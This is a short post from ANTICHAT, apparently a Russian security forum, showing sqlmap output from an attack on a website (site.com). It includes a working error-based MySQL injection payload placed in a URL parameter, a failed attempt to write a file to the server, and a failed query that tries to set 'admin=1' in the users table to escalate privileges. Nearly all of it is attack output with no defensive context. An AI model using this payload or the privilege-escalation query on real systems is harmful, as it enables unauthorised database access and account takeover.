ANTICHAT — форум по информационной безопасности, OSINT и технологиям

Code:
[Linux Debian] [Apache 2.4.10] [MySQL 5.0] ['10.0.16-MariaDB-1']
Privilege: USAGE
Type: error-based
Title: MySQL >= 5.0 error-based - Parameter replace
Payload: http://site.com/news.html?id=(SELECT 1582 FROM(SELECT COUNT(*),CONCAT(0x7171766a71,(SELECT (ELT(1582=1582,1))),0x71706b6b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.CHARACTER_SETS GROUP BY x)a)&cat=main

Code:
[WARNING] reflective value(s) found and filtering out
[INFO] retrieved:
[WARNING] it looks like the file has not been written (usually occurs if the DBMS process' user has no write privileges in the destination path)
files saved to [1]:[*] C:\sqlmap\output\site.com\files\_home_www_wwuser_user_www_index.php (size differs from remote file)

Code:
[WARNING] execution of custom SQL queries is only available when stacked queries are supported
UPDATE UPDATE users SET admin=1 WHERE login=test:        None
[INFO] fetched data logged to text files under 'C:\sqlmap\output\site.com\'